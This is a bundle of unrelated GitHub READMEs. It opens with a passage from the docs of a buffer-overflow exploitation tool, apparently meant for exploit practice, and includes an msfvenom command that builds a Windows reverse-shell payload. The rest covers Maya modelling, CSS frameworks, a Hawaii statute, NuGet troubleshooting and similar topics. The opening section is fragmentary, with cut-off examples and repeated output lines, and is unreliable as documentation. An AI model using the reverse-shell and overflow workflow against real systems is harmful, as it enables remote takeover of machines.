### Sending Bad Characters
An important part of buffer overflow exploitation is determining which
characters are "bad", or which characters are treated differently by the target
service.

The `chars` subcommand sends every character from 0x00 to 0xFF to the target
service. You can optionally exclude particular characters from the payload sent
to the target service.

Required flags are "host", "port" and "offset".
```
$ overflow chars (-H|--host HOST) (-P|--port PORT) (-o|--offset OFFSET) [flags]
```

### Running Exploits
Once you've found the offset of the EIP register, and a valid jump address, you
can execute shellcode on the target service. The `exploit` subcommand provides
an easy way to do so.

Required parameters are "host", "port", "offset", "jump" and "shell". Where
shell is the path to your desired payload.
```
$ overflow exploit (-H|--host HOST) (-P|--port PORT) (-o|--offset OFFSET) \
    (-j|--jump JUMP) (-S|--shell SHELL) [flags]
```

## Examples

### Fuzzing for Buffer Length
Here's a quick example using this subcommand to fuzz for the length of the
target buffer in 100-byte steps.
```
$ overflow fuzz -H <IP_ADDRESS> -P 4444 -S 100
```
```
  ______   __   __ ______   ______
 /\  __ \ /\ \ / //\  ___\ /\  == \
 \ \ \/\ \\ \ \'/ \ \  __\ \ \  __<
  \ \_____\\ \__|  \ \_____\\ \_\ \_\
   \/_____/ \/_/    \/_____/ \/_/ /_/
      ______  __       ______   __     __
     /\  ___\/\ \     /\  __ \ /\ \  _ \ \
     \ \  __\\ \ \____\ \ \/\ \\ \ \/ ".\ \
      \ \_\   \ \_____\\ \_____\\ \__/".~\_\
       \/_/    \/_____/ \/_____/ \/_/   \/_/

        v1.0.1

 by Stephen Radley             github.com/sradley
──────────────────────────────────────────────────
 :: Mode        : fuzz
 :: Host        : <IP_ADDRESS>
 :: Port        : 4444
 :: Step        : 100
──────────────────────────────────────────────────
 > Building payload.
 > Sending 100-byte payload.
 > Building payload.
 > Sending 200-byte payload.
 > Building payload.
 > Sending 300-byte payload.
 > Building payload.
 > Sending 400-byte payload.
 > Building payload.
 > Sending 500-byte payload.

 Success!

 Success! No errors found.
```

You can see the pattern sent in the `netcat` output below.
```
$ nc -lvp 4444
Connection from <IP_ADDRESS>:48870
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac
```

### Sending Bad Characters
Here's an example showing the use of this subcommand.

 Success!

 Success! No errors found.
```

### Running Exploits
Here's a brief example explaining how you can use the `exploit` subcommand to
execute a payload generated by `msfvenom`.

Generate a **raw** payload using `msfvenom`, call it whatever you want.
```
$ msfvenom -p windows/shell_reverse_tcp LHOST=<IP_ADDRESS> LPORT=4321 \
    EXITFUNC=thread -b "\x00" -f raw -o payload.shell
```

Then just use the tool as follows, ensuring you include the offset to the EIP
register and the jump address in the format used below.

 Success! No errors found.
```

repository: SoWrongImRight/overflow

repo_name: SoWrongImRight/overflow


text:
# nightwatch-cucumber-framework
Example for [`nightwatch-cucumber`]

## Usage

```
npm i -g ntl
git clone git@github.com:mucsi96/nightwatch-cucumber-example.git
cd nightwatch-cucumber-example
npm i
ntl
```

repository: VGangasani/nightwatch

repo_name: VGangasani/nightwatch


text:
---
title: "Week 1: Low Poly Props"
linkTitle: "W.1 Low Poly Props"
weight: 10
description: >
  Welcome, let's make low poly props.
resources:
- src: "image_of_art.png"
  params:
    byline: "Art: Person Person"
---

## Hello!

**Me:** Danny McGillick. Computer Science @ UTS, Web dev, Creative technologist in advertising (flash/actionscript, unity), 2D and 3D artist for Torus, Halfbrick, Blowfish studios. Keyboard enthusiast, bits maker.

Flash, Unity: <https://cargocollective.com/dmac/>
Game Art: <http://www.artstation.com/dmacdraws/>

**You:** The next makers with long futures.

## This week

* Get into modelling in Maya 2020!
* A little course chat
* Links to resources to study at home

![barrel concept](barrel_simple_solo.jpg)
_We'll model a similar barrel to this, designed by Alvaro Vera_

## dmdocs, Blackboard and Discord

**dmdocs** is helper next to Blackboard. One I can update quickly
Assessments, Resources, Notes.

**Blackboard** is official uni information and assessment submissions.
* pdf briefs for assessments
* **submission pages for each assessment**
* my announcements
* discussion forums where you're required to post some deliverables counting toward assessments

**Discord** is where we have fast interaction.
* Join my discord: [https://discord.gg/nC7b5tN](https://discord.gg/nC7b5tN)
* **Change your nickname** on the server so we know who's who, using this format: SarahT, RaxH, AhmedF
* Be in the #acr103 channel on my server during class.
* Join #acr103 today and **type "here"** so I can give you the aac202 role.

## What is Maya?

Quick tour.
* Open
* tumble, pan, zoom.
* Space bar, views
* Workspaces and resetting the worspace if you can't find something.

> **Go deeper:**
>  [Maya Interface Tour on YT](https://www.youtube.com/watch?v=okaC2_NxPYQ&list=PLD8E5717592CF5C26&index=10)

## Our first model

Let's model a very basic table, something like this:

![simple coffee 1](coffee_table_simple_01.jpg)

### Make a table top
First, we'll make it from primitives. We'll make several boxes, then move and resize them until they look like a table top and legs.

> Primitives are basic 3D prisms. Cube, pyramid, cylinder.

![create cube](table_create_cube.png)
_Create primitives from the toolbar or menus (Create->Polygon Primitives_

### Transforming objects in Maya
Move and scale the table top.

**QWER:**
* **Q:** Select an object with the cursor
* **W:** Display object moving handles
  - [Moving objects lesson YT](https://www.youtube.com/watch?v=1n89UOtMI_Y&list=PLD8E5717592CF5C26&index=7)
* **E:** Display object rotation handles
  - [Rotate Objects lesson YT](https://www.youtube.com/watch?v=BvsN5GzxoHo&list=PLD8E5717592CF5C26&index=8)
* **R:** Display object scaling handles (expand, shrink)
  - [Saling objects lesson YT](https://www.youtube.com/watch?v=Kmuf2M9Nvp0&list=PLD8E5717592CF5C26&index=9)

![cube default](table_move_cube.png)
_The default cube appears in the floor. Move and Scale tools can help_

![four view](table_four_views.png)
_Tap the spacebar while hovering over the 3d view. Multiple views help when modifying a shape_

#### Duplicate an object

1) Select the top, hit ctrl-d to duplicate the box.
2) Now you can move and scale it to make a leg.

![dupe](table_duplicate.png)

#### Mirror objects
Create remaining legs in the right position.

_**Mirror settings 1.**_
* copy
* x axis (left right)
* don't combine

![Duplication](table_mirror_options.png)

_**Mirror settings 2.**_
* copy
* z axis (front back)
* don't combine

![Table done](table_simple_done.png)

> **Go deeper**
> * Add thin top stretchers
> * Add thick bottom stretchers
> * Make a table using edge loops and extrude (after barrell)

![table go deep](table_go_deeper.png)

---

## Assessments

**Discussion deliverables** and **final file deliverables**
* In weeks **2**, **6** and **10** there are deliverables required on the **discussion forums**
* In weeks **4**, **8** and **12** you'll submit final files via **Blackboard**

> **Props:** Weeks 1-4
> **Levels:** Weeks 5-8
> **Characters:** Weeks 9-12

## Make a Barrell

![barrel solo](barrel_simple_solo.jpg)

### Create cylinder.

Need loops/edges around body.

![edge mode](barrel_maya_edge_select.png)

### Editing edges with scale to create barrel belly.
  - edge mode. Try scaling.
  - undo
  - enable z symmetry
  - scale.
  ![planar scale](barrel_maya_scale_belly.png)

### Creating rings with insert edge loop

  - turn on y (up down) symmetry
  - click Toolkit - Tools - Multi-Cut
  - hover over a vertical edge in upper barrel, hold ctrl.
  - click to cut. Enter to complete tool.
  ![cut](barrel_maya_multi-cut.png)

### Extruding rings

![face loop](barrel_maya_loop_faces.png)

1. Enter face mode
2. Select face loop. Click first face, shift-double-click adjacent.
3. Extrude.

### Adding top and base indent

1. Select top of barrel.
2. Inset with extrude tool.
3. Now extrude inwards.
![top](barrel_maya_top.png)
![basic](barrel_maya_done.png)

> **Go deeper**
>- Tilted lid
>- Round or Square plug
>- Ring made from another cylinder primitive.
>- Toonify by making edges less regular/symmetrical

![toon](barrel_maya_toon.png)

![barrels](barrels_simple.jpg)

## Homework

Model more things this week! If you want to be a 3D modeller and you just made two whole objects in class, you'll be keen now to go home and create **at least 2 more**.

Screenshot your results and post them in the module 1, [week 1 homework submission thread](https://laureate-au.blackboard.com/webapps/discussionboard/do/message?action=list_messages&course_id=_91934_1&nav=discussion_board_entry&conf_id=_157930_1&forum_id=_851210_1&message_id=_2133775_1) in the discussion forums. Read the first post in the thread for more detailed instructions.

![Home 1](home_concepts_1.jpg)
![Home 1](home_concepts_2.png)
![Home 1](home_concepts_3.png)
![Home 1](home_concepts_4.jpg)

repository: DMacMakes/dmdocs

branch_name: refs/heads/main

repo_name: DMacMakes/dmdocs


text:
# Mucilopilus mexicanus (Guzmán) Wolfe, 1982 SPECIES

#### Status
SYNONYM

#### According to
The Catalogue of Life, 3rd January 2011

#### Published in
Mycologia 74(1): 39 (1982)

#### Original name
Fistulinella mexicana Guzmán, 1974

### Remarks
null

repository: mdoering/backbone

path: /life/Fungi/Basidiomycota/Agaricomycetes/Boletales/Boletaceae/Fistulinella/Fistulinella mexicana/ Syn. Mucilopilus mexicanus/README.md

repo_name: mdoering/backbone


text:
# Command line options

## bfe

bfe [options]

* -c <config dir>

The directory path of config files, default dir is ./conf

* -l <log dir>

The directory path of log files, default dir is ./log

* -s

This flag prints log to stdout. By default, this flag is set false.

* -v

This flag is used to display bfe version. By default, this flag is set false.

* -d

This flag prints debug log. By default, this flag is set false.

* -h

This flag prints help info. By default, this flag is set false.

repository: kaiyuzheng/bfe

branch_name: refs/heads/develop

gha_language: Go

repo_name: kaiyuzheng/bfe


text:
# Chess-Game
Building a Chess game from scratch as a class assignment in a team of four.
Using an Agile Development process, we created a chess game from scratch using Java and JavaFX.

# Authors
* Kevin Filanowski
* Jacob Ginn
* Jeriah Caplinger
* Matthew Lutz

# Features
The game supports both a text-only version and a graphical user interface version.

Some features include:
* Properly moving peices
* Highlighting the squares with valid moves from a selected piece
* Undo / Redo moves
* Save / Load games
* Options menu for customization
* Special Moves
   * Promotion
   * Castling
   * En Passant

repository: kfilanowski/Chess-Game

repo_name: kfilanowski/Chess-Game


text:
# FEW 2.2 - Advanced CSS - Frameworks

## Lesson Video

Follow this lesson lecture in video form:

https://youtube.com/playlist?list=PLoN_ejT35AEhF_M9vBuZgW0E4PiDb19oX

Watch Lesson 06 1 - 3

## Review

```HTML
<div class="container">
	<div class="a">
	<div class="b">
	<div class="c">
	<div class="d">
</div>
```

- Using the markup above arrange child divs in two columns of equal size

- Using the markup above arrange the child divs in four columns where the first column is 100px, the second is 50px, the third is 4rems, and the last takes up the rest of the available space

- Use grid-template-areas to define 4 grid cells. Map the divs .a, .b, .c, and .d each to a different cell.

## Why you should know this?

A frontend developer should have an understanding of CSS frameworks. There is a lot to choose from they all have their pros and cons you should be able to get in and use any of these.

## Learning Objectives

1. Use CSS Frameworks
1. Evaluate CSS frameworks
1. Use CSS Custom properties

## What is a CSS Framework?

It could be a lot of things. Here a few popular CSS frameworks, you have used one or more of these:

- https://getbootstrap.com
- https://get.foundation
- https://bulma.io
- https://tailwindcss.com
- https://getuikit.com
- https://milligram.io
- https://purecss.io
- http://tachyons.io
- https://materializecss.com

Read up on these 9 CSS Frameworks here: https://athemes.com/collections/best-css-frameworks/

## Use the Framework

Each framework has its systems and paradigms. For the most part, they will work in this way:

- You will link to a stylesheet you may also have the option to include a JS file.
- Linking to the stylesheet will add a set of default styles that cover the common tags like:
 - Base font and typography
 - Headings
 - Links
 - Lists
 - Tables
 - form elements

The framework will offer more styles and custom elements that are created by using a combination of markup/HTML and class names.

- Navbars
- buttons
- cards
- other features...

## Making your Framework

Study the frameworks above. Look at what they offer. You will make your framework!

## After Class

There is two assignment for this week.

Assignment 1 - Create a version of the CSS Zen Garden page using a CSS Framework. You can choose your favorite framework, it's up to you. With this assignment you are allowed to make any changes you like to zen garden HTML markup.

Study the way the framework operates. Ask yourself these questions:

- What tags does it style? No need for a class name?
- What markup is required? Sometimes to get something to work you need to combine certain tags and may have to include a class name.
- How are class names used?

Assignment 2 -

Your goal is to create your CSS Framework. This will be a stylesheet that has all of the base styles that you might use in any project.

You can emulate the features in the frameworks above. Look at the ideas these contain, implement them in your framework with your ideas.

Get started by downloading the starter code:

https://github.com/Make-School-Labs/css-framework-starter).

Copy this repo above. It contains a single HTML file. You will add a stylesheet that styles the contents of this file.

The HTML file contains a range of typical elements that you will see on any website. The stylesheet you create should style these things so they look better than the default styles!

What's in the markup?

- Type - This inlcudes:
	- Headings
	- paragraphs
	- links
- Buttons
- Forms - This inlcudes:
	- Forms
	- Inputs
	- Check Boxes
- Colors - Color swatches showing the colors used by your framework
- Nav Bar

Your job is to create a default stylesheet that you could add to any project that will make it look better than the default HTML styles.

## Additional Resources

- [9 CSS Frameworks](https://athemes.com/collections/best-css-frameworks/)
- [Beginners Guide to CSS Frameworks](https://blog.zipboard.co/a-beginners-guide-to-css-front-end-frameworks-8045a499456b)


text:
# Hello World Polkadot Frame Development Challenge

## Usage

```sh
yarn
yarn start
```

Interacting with the Template module requires you to call the createSwitch extrinsic first. Failure to do so would cause flipSwitch calls to return errors.

license: Unlicense

repository: KiChjang/HelloWorldPolkadot

repo_name: KiChjang/HelloWorldPolkadot


text:
# TissueNet: Detect Lesions in Cervical Biopsies

[TissueNet: Detect Lesions in Cervical Biopsies](https://www.drivendata.org/competitions/67/competition-cervical-biopsy/).

[3rd place](https://www.drivendata.org/competitions/67/competition-cervical-biopsy/leaderboard/)
out of 547 with 0.9339 Weighted Class Score (top 1 -- 0.9475).

### Prerequisites

- [libvips](https://libvips.github.io/libvips/install.html)
- GPU with 32Gb RAM (e.g. Tesla V100)
- [NVIDIA apex](https://github.com/NVIDIA/apex)

```bash
pip install -r requirements.txt
```

### Usage

#### Download

First download the train data from the competition link into `data` folder.

Then you have to download train images

```bash
python ./src/download.py
```

This will download whole dataset (~1Tb) of pyramidal TIF slides.

#### Train

To train the model run

```bash
bash ./train_all.sh
```

On 1 GPU Tesla V100 it will take around 2-3 weeks. If you have more GPUs,
you can [parallelize it](https://www.gnu.org/software/parallel/). Actually,
you do not need to train all ~250 epochs, because the best models on validation
are on ~25 epoch. So you can reduce training to 2-3 days.

To trace models run

```bash
bash ./validate_all.sh
```

Copy generated folders into folder `assets`.

#### Test

Once the model trained run the following command to do inference on test.
Or you can also download the trained models from [yandex disk](https://yadi.sk/d/85zam_5YNLTcQg),
unzip and run

```bash
python main.py
```

### Approach

The main challenge here is to work with extremely high-resolution images (e.g. 150,000 x 85,000 pixels).
One can reduce the resolution by downsampling them to reasonable sizes, such that a deep neural network (DNN)
could work with them but it hurts the performance. On the one hand, we need quite large images with
sufficient information. On the other hand, we should be able to pass them into DNN as an input.

One can notice that most of the image has a monotone background (usually white). The simple
method to reduce the size is to select the tiles/crops based on the number of tissue pixels.
First, divide the image into `N x N` grid. Calculate the sum or mean of pixels' intensity
and then stack top K tiles/crops into one image.

The pipeline is illustrated in the figure below

| C07_B016_S21, page=p4 (`5008x5456` pixels) | grid with `128x128` tiles | stacked top 144 tiles (`1536x1536` pixels) |
|---|---|---|
| ![](./imgs/C07_B016_S21_p4_5008_5456_small.JPG) | ![](./imgs/C07_B016_S21_p4_5008_5456_grid_small.JPG)| ![](./imgs/C07_B016_S21_p4_5008_5456_s128_t144_small.JPG) |

The labels are encoded like

- `0 -> [0, 0, 0]` : benign (normal or subnormal)
- `1 -> [1, 0, 0]` : low malignant potential (low grade squamous intraepithelial lesion)
- `2 -> [1, 1, 0]` : high malignant potential (high grade squamous intraepithelial lesion)
- `3 -> [1, 1, 1]` : invasive cancer (invasive squamous carcinoma)

To predict the final label use the sum with rounding. E. g. we have predictions `[0.6, 0.4, 0.1]`.
The rounded sum is 1. So the label is 1. For `[1.0, 0.3, 0.3]`, label is `2 = round(1.6)`.

The remaining part of the training is the same as for ordinary classification problems.
A convolutional neural network with binary cross-entropy loss with augmentations
on both levels, tiles/crops, and the stacked image is used.

The typical learning curve is

![](./imgs/evolution.png)

#### Highlights

- EfficientNet-B0
- 16x downsampled images (`page` 4)
- 36, 64 and 144 crops with sizes `256x256`, `192x192` and `128x128` respectively
- Binary Cross Entropy Loss
- Batch size 8
- AdamW with learning rate `1e-3` or `3e-4`
- CosineAnealing scheduler
- Augmentations on tile and whole image levels: horizontal and vertical flips, rotate on 90
- Mean predictions of models (8 folds)

path: /3rd Place/README.md


text:
---
title: |
    525. More About Jesus - Christ in Song
metadata:
    description: |
        Christ in Song 525. More About Jesus. More about Jesus I would know, More of His grace to others show; More of His saving fullness see, More of His love who died for me.
    keywords:  |
        Christ in Song, adventhymnals, advent hymnals, More About Jesus, More about Jesus I would know . More, more about Jesus,
    author: Brian Onang'o
---

#### Advent Hymnals
## 525. MORE ABOUT JESUS
####  Christ in Song,

```txt
1.
More about Jesus I would know,
More of His grace to others show;
More of His saving fullness see,
More of His love who died for me.

Refrain:
More, more about Jesus,
More, more about Jesus;
More of His saving fullness see,
More of His love who died for me.

2.
More about Jesus let me learn,
More of His holy will discern;
Spirit of God, my teacher be,
Showing the things of Christ to me.  [Refrain]

3.
More about Jesus; in His word
Holding communion with my Lord,
Hearing His voice in ev'ry line,
Making each faithful saying mine.  [Refrain]

4.
More about Jesus; on His throne,
Riches in glory all His own;
More of His kingdom's sure increase;
More of His coming, Prince of Peace.  [Refrain]

```

- |   -  |
-------------|------------|
Title | More About Jesus |
Key | A♭ Major |
Titles | More, more about Jesus, |
First Line | More about Jesus I would know  |
Author | E. E. Hewitt
Year | 1908
Composer| Jno. R. Sweney |
Hymnal|  - |
Tune| More about Jesus I would know |
Metrical pattern | |
# Stanzas |  |
Chorus |  |
Chorus Type |  |
Subjects | Christ: Christ's Life and Love |
Texts | John 1:16 |
Print Texts |
Scripture Song |  |

repository: GospelSounders/adventhymnals

repo_name: GospelSounders/adventhymnals


text:
---
layout: post
title: "Efficient Multi-Domain Dictionary Learning with GANs"
date: 2018-11-01 07:52:19
categories: arXiv_CV
tags: arXiv_CV Adversarial GAN Classification
author: Cho Ying Wu, Ulrich Neumann
mathjax: true
---

* content
{:toc}

##### Abstract
In this paper, we propose the multi-domain dictionary learning (MDDL) to make dictionary learning-based classification more robust to data representing in different domains. We use adversarial neural networks to generate data in different styles, and collect all the generated data into a miscellaneous dictionary. To tackle the dictionary learning with many samples, we compute the weighting matrix that compress the miscellaneous dictionary from multi-sample per class to single sample per class. We show that the time complexity solving the proposed MDDL with weighting matrix is the same as solving the dictionary with single sample per class. Moreover, since the weighting matrix could help the solver rely more on the training data, which possibly lie in the same domain with the testing data, the classification could be more accurate.

##### Abstract (translated by Google)

##### URL
[https://arxiv.org/abs/1811.00274](https://arxiv.org/abs/1811.00274)

##### PDF
[https://arxiv.org/pdf/1811.00274](https://arxiv.org/pdf/1811.00274)


text:
---
layout: page
title: Low Cost
description:
navtitle: low cost
permalink: /low-cost-clinic/
order: 40
---
<img class="col one right" src="/img/8D6106A2-86BA-4F07-AF7B-1B8AC3DCCADE.jpeg" alt="West Therapy" style="margin: 0 0 1em 1em" />

A proportion of my week is reserved for my low cost clinic. These slots cost £25 a session whether for an individual or a couple and regardless of the type of work you want to do together.

The low-cost clinic is intended to facilitate financial access for people who don't have the income or other wealth that would enable them to pay for a standard slot. There is no need to explain or justify your financial circumstances -- if you feel you would benefit from seeing me but it would cause you genuine hardship to pay my full fee, that is enough. Demand for these spaces is high and it may be some time before I can see you, but please do get in touch if you would like to arrange a consultation and join the waiting list.

You can get the ball rolling by contacting me: [effywesttherapy@gmail.com](mailto:effywesttherapy@gmail.com).


text:
# Elixir Collector: Optimal Placement

* Author: Tikre45
* Published: 2017-06-05
* [Reddit post](https://www.reddit.com/r/ClashRoyale/comments/6ff2dw/strategy_elixir_collector_optimal_placements/)

<img src="/img/strategy/pump-005.png" style="width:100%; height: auto">

## Description

Back to basics! This is a beginner’s guide to **Elixir Collector** placement. We have decided to throw this guide together after facing opponents with questionable pump placement in challenges.

## Strategy

There are four viable placements:

### 1. In front of King’s Tower

* **Best against Graveyard**
* **Good vs Rocket / Miner**
* **Bad vs Poison**
* The X-Bow / Mortar / Hog will target the elixir collector before the tower and will destroy the elixir pump.
* This spot is great against miner as it is less punishing if you guess the miner position incorrectly.

### 2.	Next to King’s Tower

* **Good vs Graveyard**
* This spot forces opponent to place the Graveyard in a position that could activate the king tower.

### 3. Corner

* **Good vs Fireball / Poison**
* **Bad vs Rocket / Graveyard**
* Always place the pump on the side with the higher-hp Arena Tower.

### 4. 1 Tile from Corner

* Pick this spot if opponent has **Goblin Barrel**. Because of a Log bug that prevents the Log being played on top of buildings, you won’t be able to defend your pump with the Log if it is placed on the corner tile 3.

repository: smlbiobot/racf-discord-doc

repo_name: smlbiobot/racf-discord-doc


text:
---
hrs_structure:
  division: '3'
  volume: '12'
  title: '28'
  chapter: '501'
  section: 501-261.5
type: hrs_section
tags:
  - Property
  - Family
menu:
  hrs:
    identifier: HRS_0501-0261_0005
    parent: HRS0501
    name: 501-261.5 Deregistration of registered land other than
weight: 13635
title: Deregistration of registered land other than
full_title: 501-261.5 Deregistration of registered land other than
---
**[§501-261.5]  Deregistration of registered land other than fee time share interests.** The registered owner of the fee interest in registered land may submit a written request to the assistant registrar to deregister the land under this chapter.

(1) Any written request for deregistration shall include proof of title insurance in the amount of the value of the land to be deregistered and a written waiver of all claims against the State relating to the title to the land arising after the date of deregistration.

(2) Upon presentation to the assistant registrar of a written request for deregistration by the registered owner of the fee interest in registered land, the assistant registrar shall not register the same, but shall:

(A) Record in the bureau of conveyances, pursuant to chapter 502, the current certificate of title for the fee interest in the registered land; provided that prior thereto, the assistant registrar shall note on the certificate of title all documents and instruments that have been accepted for registration and that have not yet been noted on the certificate of title for the registered land;

(B) Record in the bureau of conveyances, pursuant to chapter 502, the written request for deregistration presented to the assistant registrar for filing or recording. The request shall be recorded immediately after the certificate or certificates of title; and

(C) Cancel the certificate of title.

(3) The registrar or assistant registrar shall note the recordation and cancellation of the certificate of title in the registration book and in the records of the application for registration of the land that is the subject of the certificate of title. The notation shall state the bureau of conveyances document number for the certificate of title so recorded, the certificate of title number, and the land court application number, map number, and lot number for the land that is the subject of the certificate of title so recorded.

(4) No order of court shall be required prior to or in connection with the performance of any of the foregoing actions. [L 2013, c 119, §§2, 13; am L 2014, c 47, §3; am L 2016, c 39, §2]

repository: SamMade/BlueAndKrabby

repo_name: SamMade/BlueAndKrabby


text:
# PowerStation

[Powerstation](https://hyperloop-rails.github.io/powerstation/) is a tool that finds performance bugs in Rails applications, for example, API misuse, repeated query, etc.

## Using the tool

There are two ways to use Powerstation:

- As a RubyMine plugin that you can [download from the jetbrains website](https://plugins.jetbrains.com/plugin/10604-powerstation). The source code is included in this repo under `powerstation/IDE_plugin`.

- As command line tool. The instructions and source code are included in this repo under `powerstation/command_line_tool`.

Both of these uses a static code checker that we have built to detect performance issues. The source code of the checker is in `static-checker`.

These are packaged in two separate branches (`IDE_plugin`, `static-checker`) in case you prefer checkout each part individually, for example:
```
$ git clone -b static-checker --single-branch https://github.com/hyperloop-rails/static-checker.git
```

## Currently detected bugs

1. Loop invariant queries

2. Dead store queries

3. Unused data-retrieval queries

4. Common sub-expression queries

5. API misuses

6. Inefficient data rendering

Details of these are explained in [our documentation](https://hyperloop-rails.github.io/powerstation/docs/features/).

See our [main website](https://hyperloop-rails.github.io) for more details. Feel free to submit issues and pull requests!


text:
---
author: sivel
categories:
- Asides
- Plugins
- WordPress
date: '2009-02-27'
description: February 27 Plugin Updates
slug: february-27-plugin-updates
title: February 27 Plugin Updates
type: post
---

I am releasing updates to 4 of my plugins today. The plugins that have been updated are [AJAXify FAQ-Tastic][1], [Moderate Selected Posts][2], [Possibly Related Recent Posts][3] and [Lightview JS][4]. The most important updates to these plugins are PHP Notice fixes and enqueue-ing scripts and styles that were previously just printed to the head. You can see each plugins respective change log at the links provided. Enjoy!

 [1]: http://sivel.net/2008/03/ajaxify-faqtastic/
 [2]: http://sivel.net/2008/08/moderate-selected-posts/
 [3]: http://sivel.net/2008/09/possibly-related-recent-posts/
 [4]: http://sivel.net/2008/03/lightview-js/


text:
# paysbuy-php
A simple PHP wrapper for these APIs:
* **Paynow** at `https://www.paysbuy.com/api_paynow/api_paynow.asmx` - documentation is [here](https://docs.paysbuy.com/#authentication-amp-verification)
* **GetTransaction** at `https://www.paysbuy.com/psb_ws/getTransaction.asmx` - documentation is [here](https://docs.paysbuy.com/#paynow-results-not-received)


text:
---
title: Troubleshooting Telerik NuGet
page_title: Troubleshooting Telerik NuGet
description: Troubleshooting Telerik NuGet
slug: troubleshooting-telerik-nuget
tags: nuget, document, processing, troubleshooting, telerik
published: True
position: 0
---

# Troubleshooting Telerik NuGet

This article provides solutions to common issues that you may observe when working with the Telerik NuGet server and the NuGet packages that it provides.

## Issue: The NuGet Package Takes Too Long to Install or Update on Visual Studio

The NuGet package takes too long to install or update on Visual Studio. How to improve the installation and update times?

### Solution

* Disable the auto-sync in the `_references.js` file by modifying the following `/// <autosync enabled="false" />` line.
* You can also disconnect the project from the source control before running the Update Wizard.

## Issue: Telerik NuGet Returns 401 Logon Failed after Password Change

After changing your Telerik password, you get `[Telerik Nuget] The V2 feed at '...' returned an unexpected status code '401 Logon failed.'` error in the NuGet Package Manager.

### Solution

After changing your Telerik password, you must reset your credentials in the `NuGet.config` file. To do this, run the `NuGet Sources Update -Name "telerik.com" -Source "https://nuget.telerik.com/v3/index.json" -UserName "your login email" -Password "your new password"` command.

The password must contain only ASCII characters.

As an alternative, you can [reset your Telerik NuGet Feed credentials from the Windows Credentials Manager](#solution-2-windows-credentials-manager)

## Issue: Unable to load the service index for source https://nuget.telerik.com/v3/index.json

Make sure that the Telerik NuGet Feed is live at [https://status.telerik.com/](https://status.telerik.com/).

## Issue: Resetting Telerik Nuget Credentials

On Windows, if you enter and save wrong credentials for the Telerik NuGet or if you change your Telerik credentials, you won't have access to the desired NuGet packages. Before you can enter the correct user name and password, you must clear the saved credentials.

### Solution 1: Resetting The Credentials in NuGet.config

Try resetting your credentials by using the approach suggested in the [Telerik NuGet returns 401 Logon failed after password change](#issue-telerik-nuget-returns-401-logon-failed-after-password-change). If the credentials are not updated, continue with [Solution 2](#solution-2-windows-credentials-manager) below.

### Solution 2: Windows Credentials Manager

Alternatively, use Windows Credentials Manager to remove the saved credentials:

1. In Visual Studio navigate to __Tools__ > __NuGet Package Manager__ > __Package Manager Settings__. Select __NuGet Package Manager__, click __Package Sources__, and remove the listed Telerik NuGet package source.
1. Close Visual Studio.
1. Open the Windows Credentials Manager. To access it, navigate to __Control Panel__ > __User Accounts__ > __Credential Manager__.
1. Click __Windows Credentials__.
1. Remove the following saved credentials:
    * `nuget.telerik.com`
    * `VSCredentials_nuget.telerik.com`

    ![Manage your credentials](images/windows-credential-manager.png "Manage your credentials")
1. Add the Telerik NuGet Feed again, and then enter the correct credentials. For more details, see the [Available Nuget Packages]({%slug installation-nuget-packages%}) article.
1. If desired, verify the NuGet credentials by inspecting the `NuGet.config` file located in `%AppData%\NuGet\NuGet.config`.

repository: telerik/document-processing-docs

gha_language: JavaScript

gha_license_id: NOASSERTION

repo_name: telerik/document-processing-docs


text:
# Changelog for sauronlib

Adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html),
[Keep a Changelog](https://keepachangelog.com/en/1.0.0/) recommendations,
and [Conventional Commits](https://www.conventionalcommits.org/en/v1.0.0/).

## [0.1.0] - 2020-05-22

### Added:
- Stub files.

repository: dmyersturnbull/sauronlib

repo_name: dmyersturnbull/sauronlib


text:
# Language Modeling Inference with BERT Large

## Goal
This tutorial will introduce CPU performance considerations for the deep learning model BERT Large for language modeling and demonstrate how to use Intel® Optimizations for TensorFlow to improve inference time on CPUs.
This tutorial will also provide code examples to use Intel Model Zoo's pre-trained BERT model for a quick off-the-ground implementation.

## Background
With BFloat16 (BF16) instructions and optimizations now in the Intel® Xeon® Scalable processor and Intel® Optimizations for TensorFlow, deep learning workload performance can benefit from a smaller data representation (16-bit instead of the traditional 32-bit floating point) often with little or no loss of accuracy.
This is because the BF16 standard halves the data size in a way that retains most of the precision near zero while sacrificing more precision at the extremes of the numerical range. For many machine and deep learning tasks, this is a favorable trade-off.
For more technical details, see this article on [lowering numerical precision to increase deep learning performance](https://www.intel.com/content/www/us/en/artificial-intelligence/posts/lowering-numerical-precision-increase-deep-learning-performance.html).

BERT (Bidirectional Encoder Representations from Transformers) is a popular language modeling topology.
Since its [publication](https://arxiv.org/pdf/1810.04805.pdf) in May 2019, BERT has quickly become state-of-the-art for many Natural Language Processing (NLP) tasks, including question answering and next sentence prediction.
The BERT Large variant has 340 million parameters and uses an innovative masked language model (MLM) pre-training approach that allows a second training stage called fine-tuning to achieve a wide variety of NLP tasks.
To demonstrate Bert Large inference performance with BF16 precision, this tutorial uses the Intel Model Zoo's BERT Large pre-trained model which has been fine-tuned for question answering with the [SQuAD](https://rajpurkar.github.io/SQuAD-explorer/) dataset.
The tutorial concludes with FP32 inference for comparison of performance and accuracy.

##  Recommended Settings
In addition to TensorFlow optimizations that use the [Intel® oneAPI Deep Neural Network Library (Intel® oneDNN)](https://github.com/oneapi-src/oneDNN), the run-time settings also significantly contribute to improved performance.
Tuning these options to optimize CPU workloads is vital to optimize performance of TensorFlow on Intel® processors.
Below are the set of run-time options tested empirically on BERT Large and recommended by Intel:

| Run-time options  | Recommendations |
| ------------- | ------------- |
| Batch Size | 32. Regardless of the hardware  |
| Hyperthreading  | Enabled. Turn on in BIOS. Requires a restart. |
|intra_op_parallelism_threads |# physical cores |
|inter_op_parallelism_threads | 1 or 2|
|NUMA Controls| --cpunodebind=0 --membind=0 |
|KMP_AFFINITY| KMP_AFFINITY=granularity=fine,verbose,compact,1,0|
|KMP_BLOCKTIME| 1 |
|KMP_SETTINGS| 1 |
|OMP_NUM_THREADS |# physical cores - 1 or # physical cores - 2|

Note 1: Refer to this [link](https://software.intel.com/en-us/articles/maximize-tensorflow-performance-on-cpu-considerations-and-recommendations-for-inference) to learn more about the run-time options.

Note 2: You can remove `verbose` from `KMP_AFFINITY` setting to avoid verbose output at runtime.

Run the following commands to get your processor information:

a. # physical cores per socket: `lscpu | grep "Core(s) per socket" | cut -d':' -f2 | xargs`

b. # all physical cores: `lscpu -b -p=Core,Socket | grep -v '^#' | sort -u | wc -l`

